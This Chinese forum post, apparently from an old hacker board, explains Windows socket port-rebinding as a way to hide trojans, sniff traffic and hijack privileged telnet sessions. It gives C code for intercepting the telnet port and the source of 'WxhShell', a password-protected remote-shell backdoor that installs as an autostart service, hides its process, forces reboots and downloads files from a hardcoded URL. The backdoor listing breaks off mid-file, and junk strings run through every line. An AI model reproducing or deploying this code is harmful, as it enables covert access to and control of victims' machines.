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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l~Sn`%PgA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nANoy6z:  
a<K@rgQ  
  saddr.sin_family = AF_INET; Fu cLcq2Z  
7|Tu@0XXA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;1 02ddRV  
_*Z2</5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,HdFE|  
` `R;x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AyMMr_q  
Q!VPk~~(  
  这意味着什么?意味着可以进行如下的攻击: UN}jpu<h  
i XI:yE;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0oi =}lV  
JOIbxU{U_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =NzA2td  
N5=; PZub  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }]H_|V*f  
}$ Am;%?p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YFCP'J"Z  
-)tu$W*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ` `A=p<W  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?b~Vuo  
D`lTP(] y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~o+HAc`=v  
B&`hvR  
  #include x.+}-(`W#~  
  #include ~Cj55S+  
  #include B;?"R  
  #include    g(Jzu'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gHC -Y 0_  
  int main() gC#PqK~  
  { @l^=&53T  
  WORD wVersionRequested; ']+-u{+#  
  DWORD ret; 2hRaYX,g  
  WSADATA wsaData; z1ltc{~Z  
  BOOL val; <m80e),~  
  SOCKADDR_IN saddr; J8$G-~MeJ  
  SOCKADDR_IN scaddr; ~:f9,  
  int err; _gB`;zo  
  SOCKET s; z$E+xZ  
  SOCKET sc; +xwz.:::  
  int caddsize; })|+tZ  
  HANDLE mt;  )>Oip  
  DWORD tid;   F+_4Q  
  wVersionRequested = MAKEWORD( 2, 2 ); pAYH"Q6~)I  
  err = WSAStartup( wVersionRequested, &wsaData ); Pt?]JJxl-  
  if ( err != 0 ) { iZQwo3"8r  
  printf("error!WSAStartup failed!\n"); a2*WZc`  
  return -1; 3C8'0DB  
  } -L6 rXQV@j  
  saddr.sin_family = AF_INET; y5.Z<Y  
   |8h<Ls_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h FP$MFab  
I;L $Nf{v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k`r}Gb  
  saddr.sin_port = htons(23); \@Gyl_6^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) viAvD6e  
  { #JGy2Hk$^  
  printf("error!socket failed!\n"); _tL*sA>[~)  
  return -1; ( =->rP  
  } zGu(y@o  
  val = TRUE; gy _86y@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %lV&QQa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jcN84AaRFI  
  { 'bkecC  
  printf("error!setsockopt failed!\n"); d5]9FIj  
  return -1; 4-=>># P  
  } B N@*CG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %$I\\q q>{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R5G~A{w0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q~r )B}  
;'dw`)~jQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cg<10KT  
  { +}>whyX1  
  ret=GetLastError(); yEtSyb~GK  
  printf("error!bind failed!\n"); n w @cAv  
  return -1; X^?<, Y)1.  
  } m1VyYG  
  listen(s,2); 9IMtqL&  
  while(1) c}Y(Myd  
  { RP7e)?5$s  
  caddsize = sizeof(scaddr); rZe"*$e  
  //接受连接请求 vyERt^z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;Mc\>i/  
  if(sc!=INVALID_SOCKET) U#+S9jWe  
  { tk<dp7y7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ss%ahs  
  if(mt==NULL) s9~W( Wi  
  { Dz]&|5'N  
  printf("Thread Creat Failed!\n"); \)DP(wC  
  break; #,qw~l]  
  } 6/T hbD-C  
  } X7{ueP#L  
  CloseHandle(mt); ,`G8U/  
  } AASw^A3p  
  closesocket(s); 7NMQUN7k '  
  WSACleanup(); NM/?jF@j*  
  return 0; 4s^5t6  
  }   $f*N  
  DWORD WINAPI ClientThread(LPVOID lpParam) '[~NRKQJ  
  { 3) zanoYHi  
  SOCKET ss = (SOCKET)lpParam; *pk*ijdB  
  SOCKET sc; ._~_OVU  
  unsigned char buf[4096]; yW^[{)V 3%  
  SOCKADDR_IN saddr; *|Q'?ty(x  
  long num; V? w;YTg  
  DWORD val; jB:$+k|~.  
  DWORD ret; ,<zGvksk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IBcCbNs!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dfiA- h  
  saddr.sin_family = AF_INET; g6IG>)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BP,"vq$'+  
  saddr.sin_port = htons(23); cTHSPr?<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wRgmw 4  
  { x:88E78  
  printf("error!socket failed!\n"); _:Tjq)  
  return -1; 'LpJ:Th  
  } &&xBq?  
  val = 100; >t)vQ&:;u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]IoJ(4f  
  { _Buwz_[&  
  ret = GetLastError(); }BKEz[G(  
  return -1; ';hU&D;s  
  } 4{(uw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BDNn~aU#m  
  { u01 'f-h  
  ret = GetLastError(); `$ZX]6G  
  return -1; -X'HZ\)  
  } @H= d8$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TUIj-HSe  
  { h8Q+fHDYv  
  printf("error!socket connect failed!\n"); hF s:9  
  closesocket(sc); S(.AE@U  
  closesocket(ss); +(x^5~QX  
  return -1; i6?,2\K  
  } mM!'~{r[-  
  while(1) 'C8VD+p  
  { }&I\a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8>x!n/z)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Tz4,lwuWX7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p @&>{hi@  
  num = recv(ss,buf,4096,0); J 05@SG':  
  if(num>0) HYyO/U9z|I  
  send(sc,buf,num,0); <+o-{{E[  
  else if(num==0) CL.JalR`b  
  break; n$ $^(-g@)  
  num = recv(sc,buf,4096,0); 7Ab&C&3  
  if(num>0) veAg?N<c p  
  send(ss,buf,num,0); =.(yOUI  
  else if(num==0) ye:pGa w  
  break; -$**/~0zU  
  } &lbxmUeU  
  closesocket(ss); C93BK)$}  
  closesocket(sc); Aayh'xQ  
  return 0 ; u~[HC)4(0  
  } p4C w#)BaS  
v#0F1a?]D  
,yus44w[  
========================================================== T]-yTsto  
l9KL P  
下边附上一个代码,,WXhSHELL gF-<%<RV  
"[2CV!_  
========================================================== n|2`y?  
6zh<PETa03  
#include "stdafx.h" Wt4ROj  
=}>wxO  
#include <stdio.h> (DJLq  
#include <string.h> [ -"o5!0<  
#include <windows.h> ;iR( Ir  
#include <winsock2.h> 6r! Y ~\@  
#include <winsvc.h>  Ec IgX_\  
#include <urlmon.h> b&[9m\AX`  
QA>(}u\+  
#pragma comment (lib, "Ws2_32.lib") W&CQ87b  
#pragma comment (lib, "urlmon.lib") Cw42bO  
@ODwO;_R5  
#define MAX_USER   100 // 最大客户端连接数 Z?X0:WK  
#define BUF_SOCK   200 // sock buffer JYuI~<:  
#define KEY_BUFF   255 // 输入 buffer cpvN }G  
D,q=?~  
#define REBOOT     0   // 重启 ?PVJeFH  
#define SHUTDOWN   1   // 关机 Go~bQ2*'(/  
Xou1X$$z  
#define DEF_PORT   5000 // 监听端口 Tlrr02>B{  
(Cjnf a 2  
#define REG_LEN     16   // 注册表键长度 +13h *  
#define SVC_LEN     80   // NT服务名长度 e~R; 2bk  
Q|QVm,m  
// 从dll定义API CvfX m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0q'd }DW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  o&uO]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ []'U'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3 i<,#FaL  
!w iW#PR  
// wxhshell配置信息 (Mi]vK.4  
struct WSCFG { S<}2y9F  
  int ws_port;         // 监听端口 - s[=$pDU  
  char ws_passstr[REG_LEN]; // 口令 Gt#Jr!N~  
  int ws_autoins;       // 安装标记, 1=yes 0=no I)#=#eI* :  
  char ws_regname[REG_LEN]; // 注册表键名 <@i.~EL  
  char ws_svcname[REG_LEN]; // 服务名 P^m+SAAB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @3`:aWda  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y[%1?CREP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AA][}lU:5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q'-V\G)11  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $r`K4g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GC?X>AC:  
)aoB -Lu  
}; dw %aoe  
$=dp)  
// default Wxhshell configuration  .G}E  
struct WSCFG wscfg={DEF_PORT, DxjD/? R8  
    "xuhuanlingzhe", u@|izRk  
    1, q6A!xQs<  
    "Wxhshell",  !sda6?&  
    "Wxhshell", {\-rZb==F2  
            "WxhShell Service", &`>[4D*  
    "Wrsky Windows CmdShell Service", ,#3}TDC  
    "Please Input Your Password: ", J ytY6HF  
  1, Gvo(iOU  
  "http://www.wrsky.com/wxhshell.exe", [6x-c;H_4  
  "Wxhshell.exe" EtN@ 6xP  
    }; x_9<&Aj6  
!:e|M|T'I*  
// 消息定义模块 (]wi^dE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O+;0|4V%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PfX{n5yBW8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 216+ tX5Z  
char *msg_ws_ext="\n\rExit."; `abQlBb*  
char *msg_ws_end="\n\rQuit.";  Q(SVJ  
char *msg_ws_boot="\n\rReboot..."; rQiX7  
char *msg_ws_poff="\n\rShutdown..."; "bZV<;y6  
char *msg_ws_down="\n\rSave to "; wUzQ`h2  
Oq"(oNG@  
char *msg_ws_err="\n\rErr!"; kN uDoo]z  
char *msg_ws_ok="\n\rOK!"; iO=xx|d  
}HS:3Dt  
char ExeFile[MAX_PATH]; {#q']YDe`  
int nUser = 0; lhg3 }dW  
HANDLE handles[MAX_USER]; ^_4TDC~h  
int OsIsNt; jB }O6u[%  
Tks;,C  
SERVICE_STATUS       serviceStatus; Wz$%o'OnC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K%LDOVE8e  
) Kfk\  
// 函数声明 ${'gyD  
int Install(void); H3{x; {.b  
int Uninstall(void); g+/%r91hZ  
int DownloadFile(char *sURL, SOCKET wsh); R_h(Z{d  
int Boot(int flag); !f_GR Pj'  
void HideProc(void); i} 96, {  
int GetOsVer(void); Z+ubc"MVb  
int Wxhshell(SOCKET wsl); U`q[5U"  
void TalkWithClient(void *cs); ZCPK{Ru QE  
int CmdShell(SOCKET sock); gd<8RVA  
int StartFromService(void); j`Lf/S!}  
int StartWxhshell(LPSTR lpCmdLine); FD(zj^*  
w?ssV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^ )N[x''a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5_Yv>tx  
sBuJK'  
// 数据结构和表定义 "@B! 5s0  
SERVICE_TABLE_ENTRY DispatchTable[] = a:@9GmtV&  
{ Bp\io$(%  
{wscfg.ws_svcname, NTServiceMain}, FW7+!A&F  
{NULL, NULL} [rqe;00]  
}; b qB[ vPsI  
4,9AoK)yp  
// 自我安装 A{h hnrr8  
int Install(void) #%VprcEK  
{ L*tXy>&b.  
  char svExeFile[MAX_PATH]; 0kgK~\^,.O  
  HKEY key; $}oQ=+c5  
  strcpy(svExeFile,ExeFile); j5z, l  
V2es.I  
// 如果是win9x系统,修改注册表设为自启动 D,xWc|V  
if(!OsIsNt) { ..FUg"sSO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0!=e1_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mDE{s",q/  
  RegCloseKey(key); ^FgNg'"[3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,2JqX>On>Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xmKa8']x  
  RegCloseKey(key); g|<)J-`Q  
  return 0; B2d$!Any  
    } $Br^c< y  
  } }SitT\%  
} )I]E%ut{4,  
else { JmNeqpbB`w  
d!8q+FI  
// 如果是NT以上系统,安装为系统服务 %fP^Fh   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R $'}Z  
if (schSCManager!=0) _zh}%#6L  
{ 3+A 0O%0*  
  SC_HANDLE schService = CreateService XyS#6D  
  ( ?d+B]VYw  
  schSCManager, ^S ,E"Q  
  wscfg.ws_svcname, @PwEom`a  
  wscfg.ws_svcdisp, %>I!mD"X\  
  SERVICE_ALL_ACCESS, w2]1ftY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <eN>X:_N  
  SERVICE_AUTO_START, x(}tr27o  
  SERVICE_ERROR_NORMAL, 0IDHoNaT<  
  svExeFile, W<!q>8Xn?  
  NULL, }/c.>U  
  NULL, sbK 0OA  
  NULL, |<y[gj4`T/  
  NULL, {(a@3m~a%  
  NULL W\eB   
  ); R2]?9\II  
  if (schService!=0) nr&G4t+%Hv  
  { v@>hjie  
  CloseServiceHandle(schService); ls*^ 3^O  
  CloseServiceHandle(schSCManager); vJ"@#$.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4] ?  
  strcat(svExeFile,wscfg.ws_svcname); ] {NY;|&I'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d1y(Jt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *otJtEI>6  
  RegCloseKey(key); 0@AK  
  return 0; K:'pK1zy  
    } ,?&hqM\  
  } !@VmaAT  
  CloseServiceHandle(schSCManager); 7%7_i%6wP  
} >5^Z'!Z"  
} Z?nMt  
{qLnwy!i  
return 1; ev8 E.ehD  
} Ch;EnN<  
I5x/N.  
// 自我卸载 9,y&?GLP  
int Uninstall(void) 5j ]}/Aq  
{ h)y"?Jj  
  HKEY key; k(^zhET  
^S<Z'S  
if(!OsIsNt) { WX0@H[$i#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tOspDPSXX  
  RegDeleteValue(key,wscfg.ws_regname); W{-N,?z  
  RegCloseKey(key); 1Eg}qU,:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }1 _gemlf  
  RegDeleteValue(key,wscfg.ws_regname); m%Ef]({I  
  RegCloseKey(key); J=\Y4- "  
  return 0; @F,HyCSN  
  } 'kh%^_FH7  
} L3<XWpv  
} #e9B|Y?b  
else { &0>{mq}p,:  
>Mvt;'c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QGshc  
if (schSCManager!=0) N}dJ)<(2~  
{ .Zwn{SMtu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'm2,7]  
  if (schService!=0) }VFSF/\^  
  { S>"dUM  
  if(DeleteService(schService)!=0) { 8"<!8Img  
  CloseServiceHandle(schService); '6xn!dK  
  CloseServiceHandle(schSCManager); f ~Fus  
  return 0; Vm6^'1CY  
  } R#T6I i  
  CloseServiceHandle(schService); k"sL.}$  
  } Y/$SriC_+'  
  CloseServiceHandle(schSCManager); F8=6!Qj  
} k~q[qKb8y:  
} N7;E 2 X  
hqBwA1](a  
return 1; ;ib~c,  
} }Ns_RS$  
pixI&iQ  
// 从指定url下载文件 b uhxC5i%  
int DownloadFile(char *sURL, SOCKET wsh) |QzPY8B9O  
{ D^TKv;%d  
  HRESULT hr; ZO;]Zt]  
char seps[]= "/"; o3W5FHFAv  
char *token; CY 7REF  
char *file; 4o=G) KO{  
char myURL[MAX_PATH]; 3$kZu  
char myFILE[MAX_PATH]; }YSH8d  
1/fvk  
strcpy(myURL,sURL); MRC5c:(  
  token=strtok(myURL,seps); 8ziYav  
  while(token!=NULL)  (&gCVf  
  { h T Xc0  
    file=token; Mr1pRIYMd  
  token=strtok(NULL,seps); (*;u{m=  
  } xj~6,;83xR  
3n/L; T,X  
GetCurrentDirectory(MAX_PATH,myFILE); Q3KBG8  
strcat(myFILE, "\\"); 2 43DdIG$  
strcat(myFILE, file); EP8LJzd"  
  send(wsh,myFILE,strlen(myFILE),0); '*-SvA\Cx  
send(wsh,"...",3,0); ~ACB #D%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @%TQ/L^|  
  if(hr==S_OK) 3gM{lS}h#  
return 0; \.{JS>!  
else F-R`'{ ka  
return 1; mrbIoN==`  
 h43k   
} l-Xxv  
IX>|bA;  
// 系统电源模块 q{@Wn]!k  
int Boot(int flag) jsG9{/Ov3  
{ i3~!ofTb  
  HANDLE hToken; zZRqb/20  
  TOKEN_PRIVILEGES tkp; lfKknp#B/O  
W`\H3?C`xQ  
  if(OsIsNt) { t.zSJ|T_&O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a=J?[qrx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vIREvj#U  
    tkp.PrivilegeCount = 1; -Rvxjy)[N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .SsIU\[)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X}!_p& WI  
if(flag==REBOOT) { jn7} jWA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) = MXF`k^}  
  return 0; m<yA] ';s  
} 2iGRw4`_a  
else { Cjh&$aq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AVJk  
  return 0; ?1{`~)"  
} a~%ej.)l  
  } JC#@sJ4az)  
  else { 4/jY;YN,2  
if(flag==REBOOT) { 7Y)wu$!7}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `%=Jsi0.Nq  
  return 0; <,GHy/u\  
} SUEw5qitB  
else { `~RV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ? vlGr5#  
  return 0; ~L1O\V i  
} U\[V !1O  
} "VeUOdNA>  
gB"Tc[l1  
return 1; rEf\|x=st:  
} EH3G|3^xz  
xsvs3y|  
// win9x进程隐藏模块 ^M9oTNk2  
void HideProc(void) KCFwO'  
{ <7 rK  
@r43F$bcqo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <It7s1O  
  if ( hKernel != NULL ) +,[3a%c)H  
  { ;Y '\:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F:g{rm[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e^GW[lT  
    FreeLibrary(hKernel); AN>`M?EQ  
  } iK]g3ew|  
VB\6S G  
return; M;Rw]M  
} $iPN5@F  
>FHsZKJ  
// 获取操作系统版本 c #!6  
int GetOsVer(void) :U q]~e  
{ ?>8zU;Aj  
  OSVERSIONINFO winfo; DRoxw24  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 713M4CtJ  
  GetVersionEx(&winfo); (3h*sd5ly  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [8P2V  
  return 1; Q75^7Ga_  
  else 5r<(Z0  
  return 0; }# x3IE6'  
} h /QP=Zd  
Q/n.T0Z ^  
// 客户端句柄模块 ?v8k& q^q  
int Wxhshell(SOCKET wsl) @>IjfrjV  
{ KL  mB  
  SOCKET wsh; emB D@r  
  struct sockaddr_in client; O`jA-t  
  DWORD myID; PL$F;d  
;cn.s,  
  while(nUser<MAX_USER) k#5e:VOb  
{ -!>ZATL<B  
  int nSize=sizeof(client); ?1:/ 6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sc$wR{W<:  
  if(wsh==INVALID_SOCKET) return 1; AdW2o|Uap  
Qf>Pb$c$U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q|KD/s??  
if(handles[nUser]==0) ,M&0<k\  
  closesocket(wsh); k3 [h'.ps  
else qetP93N_*  
  nUser++; z~e~K`S  
  } +7< >x-+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >MWpYp  
@1&;R  
  return 0; _L'cyH.cn  
} nYy}''l<  
#K1BJ#KUt  
// 关闭 socket ([CnYv  
void CloseIt(SOCKET wsh) d3G{0PX  
{ '#i]SU&*  
closesocket(wsh); P"uHtHK  
nUser--; JX/4=..  
ExitThread(0); ,PMb9 O\B  
} +%qSB9_>N{  
RvSq KW8  
// 客户端请求句柄 x~9z`d{!  
void TalkWithClient(void *cs) sp Q4m  
{ JM-ce8U  
@ZkAul0@  
  SOCKET wsh=(SOCKET)cs;  LbX6p  
  char pwd[SVC_LEN]; nN`Z0?  
  char cmd[KEY_BUFF]; y^QYl ZO  
char chr[1]; B.mbKntK)R  
int i,j; Q P=[ Vw  
TjUZv1(L  
  while (nUser < MAX_USER) { [Ql?Y$QB`4  
=tc`:!$  
if(wscfg.ws_passstr) { (}FW])y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $EQT"ZX>%i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N+s?ZE*  
  //ZeroMemory(pwd,KEY_BUFF); NB3Syl8g  
      i=0; hX8gV~E=y  
  while(i<SVC_LEN) { ikY]8BCc  
H6ky)kF&  
  // 设置超时 5hJYy`h~  
  fd_set FdRead; \)otu\3/  
  struct timeval TimeOut; V%BJNJ  
  FD_ZERO(&FdRead); Wj4^W<IO  
  FD_SET(wsh,&FdRead); xxoHH#a  
  TimeOut.tv_sec=8;  !u53 3  
  TimeOut.tv_usec=0; XSp x''l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QtnM(m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @L[PW@:SZ  
\[[TlB>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Y{6;FJ  
  pwd=chr[0]; KUp   
  if(chr[0]==0xd || chr[0]==0xa) { GJC!0{8;  
  pwd=0; H~?*KcZ 0\  
  break; `;5VH]V  
  } jr, &=C(  
  i++; Ha)3i{OM  
    } FJa[ToZ4+  
?qg^WDs$  
  // 如果是非法用户,关闭 socket `26V`%bPkr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C#U< k0R  
} !2zo]v4?  
?kL|>1TY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &'5@azU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xvwD3.1  
a^*cZ?Ta  
while(1) { UAsF0&]  
:DtZ8$I`]C  
  ZeroMemory(cmd,KEY_BUFF); xSpMyXrQ  
r6d0x  
      // 自动支持客户端 telnet标准   E-UB -"6  
  j=0; ydwK!j0y  
  while(j<KEY_BUFF) { T} n N=Q4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,|T*|2Gm  
  cmd[j]=chr[0]; )XLj[6j0  
  if(chr[0]==0xa || chr[0]==0xd) { J)9 AnGWe  
  cmd[j]=0; e[x?6He,$  
  break; #4P8Rzl$/  
  } ZYE' C  
  j++; On#;)35M  
    } m b%C}8D  
Ik`O.Q.}  
  // 下载文件 |-~b$nUe  
  if(strstr(cmd,"http://")) { b8rp8'M)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F>(qOH.I  
  if(DownloadFile(cmd,wsh)) Mw/?wtW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r5t;'eCe a  
  else VZ\O9lD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z5((1J9  
  } To3^L_v"  
  else { ).pO2lLF4  
fuq( 2&^  
    switch(cmd[0]) { R<"2%oY  
  T"n{WmVQ  
  // 帮助 'S =sj}X  
  case '?': { "hL9f=w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +"jl(5Q  
    break; Z:K+I+:t  
  } a "R7JjH  
  // 安装 ?#d6i$  
  case 'i': { +`ai1-vw  
    if(Install()) kW#S]fsfU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Kuk_@(}5~  
    else N? M   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ODm&&W#*  
    break; x Sv-;!y  
    } Rv98\VD"  
  // 卸载 q(,cYu  
  case 'r': { xdPcsox~  
    if(Uninstall()) fV 3r|Bp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f0vJm  
    else aYqm0HCT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bp :~bHf  
    break; tv0Ha A  
    } <j;]!qFR  
  // 显示 wxhshell 所在路径 7AFE-'S  
  case 'p': { T .kyV|  
    char svExeFile[MAX_PATH]; 2UiR~P]%  
    strcpy(svExeFile,"\n\r"); Ejv%,q/T(  
      strcat(svExeFile,ExeFile); /#f^n]v  
        send(wsh,svExeFile,strlen(svExeFile),0); >-M ]:=L  
    break; Y(_KizBY  
    } N>0LQ MI  
  // 重启 z Ct\o  
  case 'b': { :}Ok$^5s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pE2QnNr'  
    if(Boot(REBOOT)) ,of]J|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8'_ 0g[s  
    else { Z&Ue|Z4Qt  
    closesocket(wsh); ND5$bq Nu?  
    ExitThread(0); Ql8bt77eI-  
    } V>Fesm"aq  
    break; #n3ykzoqIX  
    } GX  }q9  
  // 关机 nU2V]-qY  
